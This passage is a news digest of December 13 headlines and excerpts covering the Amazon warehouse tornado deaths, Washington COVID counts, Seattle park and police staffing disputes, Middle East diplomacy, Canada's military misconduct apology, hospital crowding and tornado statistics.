She refused to speculate how long it would take workers to cross the building, but she noted the building’s large size. The building is one of Amazon’s delivery centers, a smaller warehouse where packages and boxes are loaded onto trucks for deliveries.

The facility does not have a rule against workers having their cellphones, Nantel said, though there are safety rules about how cellphones can be used.

The “take shelter” location is the restrooms, said delivery driver Alonzo Harris.

Harris was returning from his route to the delivery center Friday when he got a storm alert on his work phone. At first, he didn’t take it seriously because the alerts happen often, he said.

Then an Amazon manager came out and started yelling to people, telling them to take shelter immediately. “Within minutes, I heard a loud rumbling noise and the ground was shaking, like it was an earthquake,” Harris said. “I ran deep into the shelter. I thought ‘Oh Lord I don’t want to fly away.’ ”

At the Monday news conference, Amazon representatives also said a siren sounded in the building.

Harris said people in the shelter were trying to take care of each other and especially caring for people who were hit by debris before they reached the shelter. He felt safe and secure in the shelter, he said. Still, the storm was massive.

“I don’t believe anything man-made is a match for mother nature,” he said.

[Return to Top](#)

HEADLINE	12/13 DOH: 793,757 cases, 9580 deaths
SOURCE	https://www.thenewstribune.com/news/coronavirus/article256553921.html
GIST	<p>The Washington state Department of Health reported 798 new COVID-19 cases Monday and 26 deaths since Friday.</p> <p>The United States has recorded more than 50 million cases of the disease is about to pass the 800,000 mark for deaths.</p>

	As of Monday, statewide totals from the illness caused by the coronavirus are 793,757 cases and 9,580 deaths. The case total includes 96,195 infections listed as probable. Death data is considered complete only through Nov. 26. DOH revises previous case and death counts daily.
Return to Top	

HEADLINE	12/13 Pushback: Seattle City Hall Park to King Co.
SOURCE	https://www.seattletimes.com/seattle-news/politics/move-to-transfer-city-hall-park-from-seattle-to-king-county-runs-into-pushback/
GIST	<p>The push for King County to take control of City Hall Park, the troubled patch of lawn in downtown Seattle, is running into opposition from both elected officials and downtown community groups and nonprofits.</p> <p>King County Executive Dow Constantine and Seattle Mayor Jenny Durkan announced last month a proposed land swap that would allow the city to give the park to the county in exchange for 13 smaller parcels of land, mostly bordering existing city parks.</p> <p>The park, which has in recent years been home to large homeless encampments and seen acts of violence, has been fenced off and empty since August, when about 70 people were moved off the property.</p> <p>One block from the county courthouse and jail, the park has seen persistent crime for decades. The blocks surrounding the courthouse, situated between Third and Fourth avenues on James Street, host many of the city's homeless shelter beds and social service outlets.</p> <p>The push to move the park from city to county control is meant to be the first step in addressing the long-standing issues there.</p> <p>Constantine and Durkan have proposed transferring the half-acre park to the county, in exchange for about 1.4 acres of county-owned land scattered around the city.</p> <p>If the county acquires the park, "we control the destiny," said Metropolitan King County Councilmember Jeanne Kohl-Welles, a co-sponsor of the land swap legislation. "We don't rely on the city of Seattle that has been inattentive to public safety, to courthouse employee safety, to courthouse user safety and security."</p> <p>A coalition of King County judges has been pushing for changes, saying that safety issues from the park have discouraged prospective jurors.</p> <p>But the proposed land swap saw pushback last week, as it barely passed, by a 4-3 vote, out of the County Council's budget committee.</p> <p>The four votes from the budget committee, combined with the vote of Councilmember Reagan Dunn, a co-sponsor of the proposal, would give the land swap the bare five-vote majority it needs for passage.</p> <p>A vote is expected at the full County Council meeting on Tuesday. The Seattle City Council, which also must approve the swap, is not expected to consider it until next year.</p> <p>County Councilmember Joe McDermott argued that taking over the park would redirect county funds to an area that's not the county's responsibility.</p> <p>"There will be future budget implications that involve cash money, and we need to be aware of that," McDermott said. "These resources would be better used addressing needs in unincorporated King County."</p> <p>McDermott, who has opposed increased funding for the block around the courthouse in the past, also said that focusing just on the park does nothing for the broader neighborhood.</p>

“To address that one block provides a false sense of security. It doesn’t address the underlying issues,” he said.

Councilmember Girmay Zahilay, who also opposed the land swap, wondered why the county would acquire the park without first having a plan for it.

A study, [requested by the County Council](#), laying out options for what to do with the park is due Jan. 15. (McDermott, Zahilay and Councilmember Kathy Lambert opposed the land swap in committee; Kohl-Welles, Claudia Balducci, Rod Dembowski and Dave Upthegrove supported it.)

Downtown and homelessness groups — the Alliance for Pioneer Square, the Chief Seattle Club and Real Change — have come out in opposition to the deal, describing it as rushed.

“There is a significant amount of low-income housing in the area and those residents have a right to have their needs considered,” said Tiffani McCoy, advocacy director for Real Change.

Balducci argued the park is already a part of the county’s courthouse campus — functionally, at least. And, while supporting the county taking charge, she said she didn’t yet know what would happen after that.

“I look forward to the day when there’s grass on this property, when the fences have come down and when people of all walks of life can mingle to gather in peace and safety and enjoy this outdoor space,” she said. “I don’t think that our owning that property hastens that day or pushes it back any further.”

[Return to Top](#)

HEADLINE	12/13 Seattle police ‘unavailable’ list grows
SOURCE	https://mynorthwest.com/3279670/rantz-seattle-police-unavailable-staffing-catastrophe/
GIST	<p>The Seattle Police Department staffing emergency continues. The city is one emergency event away from a serious catastrophe. But leaders and the media remain mostly silent.</p> <p>The so-called “HR Unavailable” list has grown considerably as of December 10. This list features officers who are on extended leave and cannot be deployed. Officers only appear on the list after being absent for a minimum of 14 days.</p> <p>Concurrently, the department continues to struggle to fill vacant patrol slots to meet minimum staffing. Every single precinct, in every single watch, has open slots for nearly every single day in December.</p> <p>Where are Seattle officers?</p> <p>The HR Unavailable list was 126 on October 20, two days after the vaccine deadline passed and Mayor Jenny Durkan pulled nearly 100 officers from duty.</p> <p>Now, the HR Unavailable list has ballooned to 155, according to an SPD source. This is on top of the 335 exodus of officers since 2020.</p> <p>The list includes illness, disability, and maternity and paternity. But officers burning accrued vacation or sick time will also appear on the list. It’s a move an officer typically takes before separating from the department. The SPD will likely see several separations before the end of the year.</p> <p>Many of the officers that are out of service come from patrol. It’s causing a staffing crisis.</p> <p>“We’ve seen that list explode since the riots due to a lot of the injuries of people not being able to get surgeries scheduled on time because of the pandemic and a number of [other] factors,” Seattle Police Officers Guild president Officer Mike Solan told the Jason Rantz Show on KTTH. “The political environment we’re in ... created a situation in our community that we don’t have enough cops. Period.”</p>

A spokesperson for the SPD says they cannot comment on the number of officers on the list. However, they note it creates a clear staffing issue.

“Not speaking to any numbers but, every officer that is on that list is an officer that isn’t available to answer 911 calls and can add to the response time for any call,” SPD spokesperson Detective Patrick Michaud tells the Jason Rantz Show on KTTH. “As we have stated in the recent past, the SPD remains in a staffing shortage, and we continue to need additional people. This reason is why we continue to advertise for new recruits as well as ask for additional funding from the city council.”

Augmenting shifts

The SPD has asked non-patrol officers to volunteer to augment open shifts. This is necessary for precincts to meet staffing minimums, which is still not ideal. Barely meeting staffing minimums is why it can take upwards of an hour for police to respond to some 911 calls.

Every precinct is impacted.

For example, the Southwest Precinct’s 3rd Watch has shift openings for every day in December. Just before the start of the month, an all-staff email went out asking for volunteers to take on open shifts.

The same problem impacts the West Precinct 3rd Watch. Before December, an email went out to staff showing upwards of nine patrol slots for the entire month. December 13 needed seven officers, whereas December 24 and 25 needed eight and nine officers, respectively. On seven days in the month, they needed to fill one sergeant and five officers for nightlife emphasis.

“The city cannot hire enough people to solidify the vacancies and the continued vacancies,” Solan explained. “That, to me, is alarming. Not just because we’re losing members. But it’s creating a working condition issue. Every watch, every shift, every precinct. That creates a safety concern for the cops who were just answering that basic 911 call. Are there going to be enough people to back each other up in terms of creating a safe to a degree a safe call?”

Silence from our leaders and the media

The mayor’s office has been mostly silent on this issue. After putting out a few press releases, Durkan has been quiet.

The Seattle City Council, meanwhile, is uninterested, to say the least. They shrunk the SPD budget by nearly \$50 million since pre-pandemic levels. And they only funded the SPD to hire 125 officers in 2022. But the department is short roughly 500. It’s fair, however, to say SPD Command Staff would be grateful to get close to 125 new hires next year.

“We’re not big enough to make up those drastic losses,” Solan added.

Most media outlets have been silent, too. Outside of KTTH Radio locally and FOX News nationally, local outlets have barely touched the subject.

Instead of focusing on the crisis, outlets like KING 5 focused on seven re-hires of officers who previously left the department. It was almost exactly the same story that KOMO offered a month earlier. It even included an interview with the same officer KOMO featured. While the rehires is a positive development, it doesn’t come anywhere close to addressing the crisis.

Stage 2 mobilization

Though the staffing crisis has worsened, the SPD moved to Stage 2 mobilization. They were previously at Stage 3.

	<p>Whereas Stage 3 allowed for full deployment of all on-duty sworn personnel, Stage 2 mobilizes slightly fewer personnel for full deployment. For example, Stage 3 can pull investigative union personnel from their assigned duties to respond to 911 calls. Stage 2 does not.</p> <p>SPD didn't explain why they made the shift, given crime continues to surge and there's been no meaningful change to the staffing situation. However, Solan, answering an unrelated question, cited staff burnout and the difficulty for officers to use vacation time around the holidays as reasons why officers are expected to quit in larger numbers this year (and early next year).</p> <p>One emergency away from a catastrophe</p> <p>The staffing crisis would be dangerously exposed should the city experience a major public safety emergency.</p> <p>When one major incident occurs, SPD must pull staff from multiple precincts to respond. If that incident is an emergency like a mass casualty event, the city would be virtually police-free so that officers could respond to the scene of the crime.</p> <p>This new reality leaves communities vulnerable to criminals who exploit the staffing crisis. As police converge on, say, Pioneer Square to deal with an emergency, Bitter Lake, Rainier Valley, and Alki Beach are almost certainly without police protection.</p>
Return to Top	

HEADLINE	12/13 Israel, UAE pushed together by fear of Iran
SOURCE	https://www.wsj.com/articles/israeli-u-a-e-leaders-meet-amid-flurry-of-middle-east-diplomacy-11639413346?mod=hp_listc_pos2
GIST	<p>The first-ever official meeting Monday between Israel's prime minister and the United Arab Emirates' de facto leader is the latest in a flurry of diplomacy reshaping the geopolitics of the Middle East amid fear that the Iran nuclear talks will collapse and worries over the shrinking U.S. role in the region.</p> <p>The talks in Abu Dhabi—the first between the leaders of Israel and the U.A.E. since the two countries established diplomatic ties last year—gave Prime Minister Naftali Bennett and Abu Dhabi Crown Prince Sheikh Mohammed bin Zayed al Nahyan their first chance to coordinate personally about their shared regional rival, Iran, and its expanding nuclear program.</p> <p>It also marked an opportunity for the two leaders to discuss budding business ties between their countries, which normalized relations late last year after 50 years of no formal diplomatic ties. The deal led to agreements with several other Arab countries called the Abraham Accords, and billions of dollars in new business.</p> <p>On Monday, Mr. Bennett and Sheikh Mohammed spent more than four hours in talks, both with broader delegations and in a 2½ hour one-on-one meeting at the prince's palace.</p> <p>A joint statement called Mr. Bennett's visit "another milestone in the development of warm relations and a close partnership between the two countries" and said a variety of economic and civic issues were discussed.</p> <p>Mr. Bennett invited Sheikh Mohammed to visit Israel and he accepted, according to the Israeli leader's office. They also discussed a free-trade agreement next year, the office said.</p> <p>The two countries have already increased registered bilateral trade by 10-fold year-over-year in the first 10 months of 2021 to \$874.5 million. That sum doesn't reflect some of the biggest deals struck between Israel and the U.A.E., including the \$1 billion sale by Israel's Delek Drilling of a stake in its Tamar gas field to Emirati wealth fund Mubadala.</p>

Monday's meeting comes after Sheikh Mohammed [traveled to Turkey late last month](#) to begin patching up relations with President Recep Tayyip Erdogan, a supporter of Islamist political movements that the U.A.E. see as a national-security threat.

Separately, Qatar is brokering talks between Saudi Arabia and Turkey for a once-unimaginable meeting between Crown Prince Mohammed bin Salman and Mr. Erdogan, said people familiar with the efforts, signaling a potential detente in a rift that has divided the region for years. Qatari officials unsuccessfully tried to get the two men together in Doha last week, when they both passed through within a day of each other, and officials are looking for a suitable time and place in the coming weeks, the people said.

Middle East diplomats say they are talking to rivals they have shunned for years amid uncertainty over the Biden administration's commitment to the region following its abrupt withdrawal from Afghanistan and its foreign-policy pivot toward China. After an alleged [Iranian drone attack](#) on two Saudi oil installations in 2019 that was largely left unanswered and a reduced U.S. role in Iraq, regional officials see Washington's [appetite for involvement in the region](#) shrinking.

"There is a question of what the Americans' policy is in the Middle East and the perceived image is that they want to get the hell out of here, and they say as much," said Yoel Guzansky, a senior research fellow focused on Persian Gulf politics and security at the Institute for National Security Studies in Tel Aviv.

Gulf and Israeli officials have watched with unease as the U.S., Russia, China and the European Union hold talks in Vienna with Iran to revive the 2015 nuclear deal, which lifted sanctions on Iran in exchange for limits on its nuclear program. There has been little progress over two weeks, and Middle East officials [fear the negotiations could collapse](#) and precipitate a regional crisis with Tehran.

"All the players—Israel, the U.A.E.—everyone is jockeying for position," said Joshua Teitelbaum, professor of Middle Eastern studies at Bar Ilan University outside of Tel Aviv. "There is a new administration with a policy we're still guessing over and Iran is on the threshold of getting a nuclear weapon, it's forcing everyone to renew relationships."

With dialogue renewed across the Middle East, Israel remains at a disadvantage. Despite the Abraham Accords, it has few and mostly unofficial contacts throughout the rest of the Persian Gulf, making it more dependent on the U.A.E. Israel has no formal relations with Saudi Arabia, despite a [secret desert meeting last year](#) between Prince Mohammed and then-Prime Minister Benjamin Netanyahu.

The Emiratis see a partnership with Israel, which has increasingly advocated for its right to strike Iranian nuclear targets, as a way to boost their security credentials potentially with advanced Israeli weaponry, observers said. But the Emiratis are also worried that any uncoordinated military action could be the spark for a wider conflict.

"What the Gulf states are trying to do differently in this new phase is to keep their relations with contentious powers closer and try to undercut Iran," said Sanam Vakil, deputy director of the Middle East North Africa program at Chatham House.

Renewed dialogue is also lending new momentum toward winding down the conflicts that arose after the Arab Spring uprisings. Saudi Arabia is reducing its military footprint in Yemen as the kingdom has [all but lost the war there](#) to Houthi rebels aligned with Iran.

Some Arab states have begun pushing the idea of recognizing Syrian President Bashar al-Assad's legitimacy in hopes of ending almost a decade of brutal fighting. The U.A.E.'s foreign minister met with Mr. Assad last month in Damascus, and Syria may attend the Arab League summit in Algeria in March for the first time since its membership was suspended in 2011.

At the same time, the Saudis have held several rounds of negotiations this year with Iran, with Iraq mediating, aimed at restoring diplomatic ties for the first time in six years. Sheikh Mohammed's brother,

	<p>U.A.E. National Security Adviser Sheikh Tahnoon bin Zayed Al Nahyan, traveled to Tehran this month where he met Iranian President Ebrahim Raisi and invited him to visit the U.A.E.</p> <p>The hope of the various dialogues, analysts said, isn't to repair relations with a rival but to restore channels of communication in the event of a breakdown of the nuclear talks.</p> <p>For Mr. Erdogan and Prince Mohammed, a meeting offers a chance to put behind them problems that have poisoned the relationship between Turkey and Saudi Arabia. Among them: The murder of writer Jamal Khashoggi by a team of Saudi government operatives at the Saudi consulate in Istanbul in 2018. Prince Mohammed wants a promise that Mr. Erdogan won't ever mention Mr. Khashoggi's death again and prevail upon Turkish media to stop dredging up the topic, according to Saudi and Qatari officials.</p> <p>For Mr. Erdogan, the calculus may be more about money than geopolitics. With Turkey gripped by a currency crisis, he has been looking for economic lifelines.</p>
Return to Top	

HEADLINE	12/13 Canada apology military sexualized culture
SOURCE	https://www.wsj.com/articles/canada-issues-apology-for-turning-blind-eye-to-militarys-sexualized-culture-11639431231?mod=hp_listc_pos3
GIST	<p>OTTAWA—Canada on Monday issued a formal apology to former and current military members who were victims of sexual assault and sexual misconduct over decades, acknowledging the government's failure to eradicate a toxic culture that harmed and destroyed thousands of lives.</p> <p>Canada's Defense Minister Anita Anand said her priority will be to reshape the military establishment and ensure the people entrusted to defend the country are protected from sexual assault, sexual misconduct and sexual harassment at the hands of colleagues and commanding officers.</p> <p>"Things can change, they must change and they will change. It is our most basic responsibility, our most important task," Ms. Anand said at an event accompanied by top military leadership. "I apologize to the thousands of Canadians who were harmed because your government did not protect you."</p> <p>The apology from Ms. Anand and Gen. Wayne Eyre, Canada's newly appointed chief of defense staff, follows a series of sexual-misconduct allegations earlier this year that rocked the government and military and sparked by public outcry.</p> <p>The allegations targeted top members of military leadership and have led to charges filed against at least two senior officers, including a former top soldier.</p> <p>They prompted a parliamentary probe in March of the Liberal administration's role in overlooking warnings about sexual misconduct in the forces. Lawmakers heard from some current service members who said they were victims of assault and harassment but feared coming forward due to possible career repercussions.</p> <p>"To those who shouted, until you could shout no more, at great personal risk, only to have no one listen to you, we are sorry. To those who came forward and were told to be quiet and not rock the boat and to think of your career, we are sorry," Gen. Eyre said.</p> <p>The uproar also undermined Prime Minister Justin Trudeau and his high-profile pledge to defend women's rights and fight harassment in the workplace. The military allegations, combined with initial problems with the rollout of Covid-19 vaccines, weighed on the prime minister's popularity in the spring before it rebounded ahead of a summer election call.</p> <p>Mr. Trudeau said the apology is about recognizing the mistakes of the past. "We need to remember, these are lives of people that were impacted, [and] destroyed, in some cases, by sexual assault to which the Canadian Armed Forces regularly turned a blind eye. That needs to change."</p>

Before Mr. Trudeau came to power in 2015, a report to senior officials warned about a military culture rife with vulgar language referencing women's bodies, sexual jokes and innuendos and unwelcome touching. The report said this behavior was conducive to sexual harassment and assault.

Mr. Trudeau in April appointed a former Supreme Court of Canada justice to examine the military's culture. In October, the government implemented one of the justice's early recommendations—to strip the military of the power to investigate and prosecute allegations of sexual misconduct within the service, and hand that responsibility over to civilian authorities.

Last month, Mr. Trudeau's cabinet fired Adm. Art McDonald from the role of chief of defense staff, saying the admiral no longer had the administration's confidence. He had been on administrative leave pending an investigation into allegations that he engaged in inappropriate behavior. Investigators said their probe didn't unearth evidence to support charges.

Attempts to reach Adm. McDonald weren't successful.

Adm. McDonald's predecessor, Gen. Jonathan Vance, faces an obstruction-of-justice charge. Canadian prosecutors allege the former top soldier attempted to impede the military police's investigation of sexual-misconduct allegations involving him by persuading a witness "to make false statements about their past relationship," according to a court filing. A lawyer for Gen. Vance didn't respond to a request for comment.

Last week, military police filed charges related to sexual assault and indecent acts against Vice Admiral Haydn Edmundson, who until recently was in charge of human resources at the armed forces. The case is now with civilian prosecutors in the province of Ontario. Brian Greenspan, a lawyer for Mr. Edmundson, said the vice admiral denies any suggestion of criminal misconduct, "and looks forward to the opportunity to restore his distinguished reputation for service to our country."

[Return to Top](#)

HEADLINE	12/13 Hospitals full: no room in nursing homes
SOURCE	https://mynorthwest.com/3280872/hospitals-full-nursing-homes/
GIST	<p>Washington's COVID numbers have come down since the delta surge of the summer and early fall, but once again, the state's hospitals are pushing their capacity limits.</p> <p>"Our hospitals are bursting at the seams," said Washington State Hospital Association Executive Vice President Taya Briley at a briefing on Monday. "Several major hospitals and health systems are at or near 120% occupancy levels."</p> <p>This time, however, COVID-19 is not the reason for the crowded hospital rooms. Instead, patients who are medically able to leave the hospital are stuck in hospital rooms because they cannot be discharged to a long-term care facility.</p> <p>"Remarkably, [the hospital rooms] are filled with patients who do not need hospital care," Briley said.</p> <p>Just like in the midst of the delta surge, this is resulting in incoming patients having nowhere to go. Briley said some are spending days in the ER as they wait for a hospital room. This has hospital leaders worried about what could happen if there is another winter COVID surge like last year — especially with the new omicron variant circling.</p> <p>"The severe shortage of hospital inpatient space is already delaying procedures that are vitally important to the health of our community members — for example, heart procedures or cancer surgeries," Briley said.</p> <p>Some patients get held back from entering rehab after a hospital stay by red tape. Briley explained that while it can be fairly straightforward for a family member to give consent for their loved one to have</p>

surgery, it is an entirely different story when it comes to authorizing their relative to go to a nursing home.

“State law for family consent to long-term care placement is remarkably complex,” Briley said.

WSHA plans to work with state legislators in the upcoming session to simplify those laws.

“We hope we will see some legislation advance during the session that will improve the decision-making process that will be able to move these patients faster into care settings,” Briley said.

Staffing is another major issue. [Like hospitals](#), long-term care facilities have suffered staffing shortages throughout the pandemic, as employees leave due to burnout, child care needs, or concerns around catching the virus.

“Some of the [long-term care] facilities are half-full or nowhere near a sustainable level because they don’t have the staff to accept patients,” said Zosia Stanley, vice president and associate general counsel for WSHA.

That leads back to the hospitals in a domino effect, as the patients who are ready for rehab are stuck in a holding pattern until space can be found.

“The whole health care system has to work in order for any part of it to work ... staffing challenges are across the health care system,” Stanley said. “And we are continuing to partner with all the different pieces and the Legislature to find a way forward.”

From hospitals to nursing homes

This comes as a recent [report](#) from the National Consumer Voice for Quality Long-Term Care has named Washington as a state without adequate long-term care staffing standards.

The report notes that other states have stronger requirements than Washington to ensure quality care — such as the number of direct-care hours that must be given to each resident each day in tasks such as bathing, dressing, and feeding. While [Washington state law](#) requires 3.4 direct care hours per resident each day, the report notes that four hours is considered the minimum for quality of life.

“In Washington state, there are definitely facilities that meet [four hours] and exceed that, but the vast majority are below that,” said Washington State Long-term Care Ombuds Patricia Hunter.

Furthermore, Hunter noted that the long-term care mandates Washington does have — including not only the direct care hours stipulation, but also a requirement to have a registered nurse on-site at each long-term care facility 24 hours per day — are on hold during the pandemic.

When facilities don’t meet these standards, it may mean people wait for hours for help getting out of bed or getting dressed. The Ombuds Office has gotten reports of falls, cold meals, lack of activity and physical therapy, and people sitting in their own waste as they wait for aid to go to the restroom.

Hunter believes Washington’s high turnover in long-term care staffing — a problem even before COVID — may have been why some facilities had such a struggle with controlling infection during all of the nursing home outbreaks at the beginning of the pandemic.

“If you have high turnover in staffing — and Washington state has one of the highest rates of staffing turnover in nursing homes, for decades they’ve had it — you don’t have the skills and knowledge, institutional knowledge, that is consistent,” Hunter said.

She sees higher pay for long-term care workers as the only way out of the problem.

	<p>WSHA agrees — and to that end, is pushing for increased Medicaid payment rates for long-term care facilities.</p> <p>“That in turn can be translated into higher wages for those who work in nursing homes,” Briley said. “Nursing home care is challenging — it’s labor-intensive.”</p> <p>If you are wondering if a long-term facility is right for your loved one, the Omuds Office recommends you ask the facility for their most recent state inspection reports. You can contact the Ombuds Office for help with this. The Ombuds Office is also looking for volunteers to go to nursing homes and assess the quality of care being given.</p>
	Return to Top

HEADLINE	12/13 Seattle mayor-elect new administration
SOURCE	https://mynorthwest.com/3280995/seattle-mayor-elect-administration-niece/
GIST	<p>Seattle Mayor-elect Bruce Harrell on Monday announced the first members of his new administration.</p> <p>Most notable are the three deputy mayors that Harrell has appointed:</p> <ul style="list-style-type: none"> • Monisha Harrell, Harrell’s niece and campaign manager. • Tiffany Washington, deputy mayor of housing and homelessness. • Unnamed deputy mayor of external relations, a position open in January. <p>“I want that deputy mayor position to focus on what the residents and small businesses demanded from the City when they elected me,” Mayor-elect Harrell said in a news release. “The deputy mayor of external relations will help build the external partnerships needed to deliver results in measurable terms.”</p> <p>Washington, current deputy mayor, will ensure continuity as Harrell’s team addresses the city’s homeless crisis, the administration explained in a news release. The position will develop accountability, transparency, and streamline processes.</p> <p>Monisha Harrell’s experience handling police reform for the state and monitoring Seattle’s federal consent decree will play an important role in the administration’s effort to reimagine police services and public safety.</p> <p>“Our announcement today makes clear that my administration will be centered on competency and urgency,” Mayor-elect Harrell said in a news release. “My administration will combine ambitious vision and bold, progress-driving ideas with the experienced leadership needed to take action and hit the ground running. I’m proud of the team we’re building, united around the common purpose of making Seattle a bright, prosperous, and thriving city for all. Our team will set a new tone and deliver positive change through new energy and proven decisiveness rooted in community relationships and values.”</p> <p>Other roles include:</p> <ul style="list-style-type: none"> • Former City Councilmember and interim Mayor Tim Burgess — director of strategic initiatives. • Current City Council Central Staff Deputy Director Dan Eder — director of policy. • SDOT Transportation Operations Division Director Adiam Emery — chief equity officer. • Expert in private and public sector housing policy Marco Lowe — chief operations officer. • Current Innovation and Performance Interim Director Julie Dingley — interim director of the City Budget Office. Dingley replaces Ben Noble, who recently announced his departure from the office. • Pedro Gómez and Gerald Hankerson — external affairs and equity work. • Vinh Tang — technology initiatives. <p>Harrell’s team said it will make additional announcements regarding staffing in the weeks leading up to his inauguration on Jan. 4.</p>
	Return to Top

HEADLINE	12/13 By the numbers: record-breaking tornadoes
SOURCE	https://www.washingtonpost.com/climate-environment/2021/12/13/tornado-mayfield-kentucky-amazon/
GIST	<p>As rescue teams and volunteers combed through debris across nine states this weekend looking for survivors, the unprecedented scale of devastation left behind by the storm began to come into focus.</p> <p>Homes and businesses had been torn from their foundations. Two warehouses had collapsed, trapping and killing employees. Hundreds of thousands of Americans were left without power in mid-December, forcing Kentucky and Tennessee to open shelters where people could warm themselves.</p> <p>In hardest-hit Kentucky, where multiple tornadoes touched down Friday night and into Saturday morning, Gov. Andy Beshear (D) said Monday that 74 deaths had been confirmed.</p> <p>“Thousands of homes are damaged if not entirely destroyed,” Beshear said, “and it may be weeks before we have final counts on both deaths and levels of destruction.”</p> <p>From a meteorological perspective, the storm will also stand out for its timing, duration and strength. For decades to come, meteorologists will focus on a particularly large supercell, or rotating thunderstorm, which spurred the tornado or series of twisters that caused the majority of the destruction, leading researchers to investigate if such events will happen more often in a warming world.</p> <p>Both the human and economic costs of this 200-mile-long extreme weather event are still being tabulated.</p> <p>Here is a look at the devastation, by the numbers.</p>
	<p>9 States impacted by the outbreak of tornadoes</p> <p>The National Weather Service received tornado reports from nine states, but most destruction was concentrated in northeast Arkansas, southeast Missouri, northwest Tennessee and western Kentucky. The largest tornado, which also could have been a series of tornadoes, trekked 250 miles across the four states and caused numerous deaths and major damage.</p> <p>If confirmed as a single storm, this “quad-state tornado” would be the longest tornado trek in U.S. history and the first to cross four states.</p> <p>Significant tornado damage was first noted near Monette, Ark., where a nursing home collapsed. The system continued through Mayfield, Ky., where the town was largely demolished and multiple fatalities took place at a candle factory. The storm continued to travel parallel to the Ohio River, about 35 miles to its south. It would eventually dissipate and join up with other storms as it entered Ohio.</p> <p>Another tornado hit the St. Louis metropolitan area in Missouri and southwest Illinois. As it tore through Edwardsville, Ill., it killed at least six people at an Amazon warehouse and reduced large parts of the building to rubble, trapping employees beneath the debris. A seventh person was airlifted to a hospital.</p> <p>Tornadoes were also reported in Indiana, Alabama and Mississippi.</p>
	<p>88 Deaths confirmed as of Monday</p> <p>Reports of deaths from the storm have ranged widely. After initially estimating that as many as 100 people were likely killed in Kentucky, Beshear said Monday that state officials had confirmed 74 deaths.</p> <p>Of those, 20 deaths have been confirmed in Graves County, where some of the worst damage was inflicted on the city of Mayfield. Seven other counties reported deaths from the tornadoes, Beshear said, with victims ranging in age from 5 months to 86 years.</p>

	<p>With more than 100 Kentuckians unaccounted for as of Monday morning, Beshear said he expected the death toll would rise in the coming days and weeks as emergency workers continue to comb through the rubble.</p> <p>“Undoubtedly, there will be more,” he said. “We believe it will certainly be above 70, maybe even 80.” Authorities in other states are still trying to determine the total dead. At least six deaths have been reported in Illinois, two in Missouri, two in Arkansas and four in Tennessee.</p>	
	<p>1 The deadliest tornado event in December in modern U.S. history</p> <p>Before this year, the highest number of tornado-related fatalities during the month of December was 49 deaths in 1953.</p> <p>December tornadoes aren’t exceptional. About two dozen form in the contiguous United States during the month. Two of the 15 deadliest outbreaks since 1950 have occurred outside of peak season, which lasts from March until June. But the violence and longevity of this storm was exceptional for December and any time of the year.</p>	
	<p>11 At 88 deaths, this storm ranks as the 11th deadliest tornado event in modern U.S. history</p> <p>Firefighters search through debris in St. Charles County, Mo., on Friday. (David Carson/Associated Press) The event, which has 88 confirmed deaths as of Monday, so far ranks as the 11th deadliest tornado day in modern U.S. history. If the death toll surpasses 100, the outbreak will become a top 10 deadly tornado day since 1950.</p> <p>Until Friday, only a dozen days since 1950 have experienced more than 60 tornado-related deaths. Nine tornadoes have caused more than 100 fatalities in a single day.</p> <p>Friday’s event is almost certainly the deadliest since a tornado killed more than 150 in Joplin, Mo., on May 22, 2011.</p>	
	<p>250 The potential track length in miles, making it a contender for the longest path ever</p> <p>Carving a 250-mile course from Arkansas to Kentucky, the quad-state tornado could be the longest tornado path in U.S. history if confirmed by the National Weather Service.</p> <p>While it may take days to verify the exact length, the trek is already historic. The National Weather Service confirmed a path spanning 132 miles from near Cayce, Ky., to at least Beaver Dam, Ky. The current confirmation of 132 miles places it among just 21 other tornadoes since 1950, which put its in the top 0.03 percent longest tornadoes out of more than 65,000 verified tornadoes.</p> <p>If the path exceeds 150 miles, the tornado would be one of 13 with such a track length. Only four tornadoes have journeyed above 200 miles, although some of the records are debatable. The epic 1925 tri-state twister is generally accepted at the longest track in the nation at 219 miles, but it is questionable as to whether it was one or several tornadoes. It is also possible the quad-state tornado consisted of more than a single tornado.</p>	
	<p>11 The life span of the storm in hours</p> <p>The rotating thunderstorm that tore through four states began around 3:30 p.m. on Dec. 10 and continued through 2:40 a.m. the following day, according to one analysis. A typical supercell lasts about two hours. A long-lived supercell may last for four hours or more.</p>	

	<p>Even produced from these engines of nature, tornadoes tend to last mere seconds or minutes. While it's possible this storm "cycled" during its path — wherein a tornado dies off as a new one forms — at least one tornado was on the ground for at least two hours. The total amount of time that tornadoes were on the ground during the storm is likely to double or more.</p>	
	<p>128 The speed of rotation in miles per hour</p> <p>How fast a supercell is spinning or its rotational velocity can be measured by radar. The rotational speed peaked at 128 mph after the supercell passed through Mayfield on Friday, indicative of an exceptionally intense tornado. The storm rotated at an average of 94 mph for four hours. Only 1.5 percent of all tornadoes spin so fast, according to Evan Bentley, a meteorologist at the National Weather Service Storm Prediction Center.</p>	
	<p>70 to 80 Degrees marking record warm temperatures in the zone ravaged by tornadoes</p> <p>On Friday, scores of record high temperatures were set from Texas to Pennsylvania, including in the nine-state region where tornadoes erupted. Temperatures in many areas were 20 to 30 degrees above normal. Memphis soared to 79 degrees, breaking its previous record for Dec. 10 by four degrees.</p> <p>The warmth was supplied, in part, by record warm December waters in the Gulf of Mexico.</p> <p>The exceptionally warm conditions fast-forwarded the atmosphere to conditions more typical of April, fueling the severity of the outbreak and raising questions about the possible role of human-caused climate change in the disaster.</p>	
	<p>2 The number of factory collapses responsible for fatalities from the tornadoes</p> <p>An Amazon warehouse collapse in Illinois killed six and a candle factory collapse in Kentucky killed eight. An Amazon spokesperson reported that the Amazon facility had 11 minutes of warning, with managers "telling people to get to their shelter-in-place-area."</p>	
	<p>69 Tornado reports received by the National Weather Service from Friday night to Saturday morning</p> <p>The unusually powerful storm slammed into parts of the Midwest and Tennessee Valley on Friday and Saturday, with the National Weather Service receiving 69 tornado reports.</p> <p>This number may be an overestimate as there may have been multiple reports of the same tornado. The National Weather Service is conducting damage surveys this week to determine the number of tornadoes that touched down and rate their intensity. So far, 26 tornadoes have been confirmed.</p> <p>The Weather Service also received 373 reports of damaging winds and 24 reports of large hail from Friday to Saturday morning.</p>	
	<p>149 Tornado warnings issued over the course of 12 hours</p> <p>The disaster spurred the most tornado warnings on record from noon to midnight for December. The event also ranks third for the most tornado warnings in winter, trailing major outbreaks in January 1999 and February 2008.</p>	

	<p>Eight of the issued warnings on Dec. 10 were tornado emergencies. Another 145 were severe thunderstorm warnings in areas where storms were not tornadic but still intense.</p>
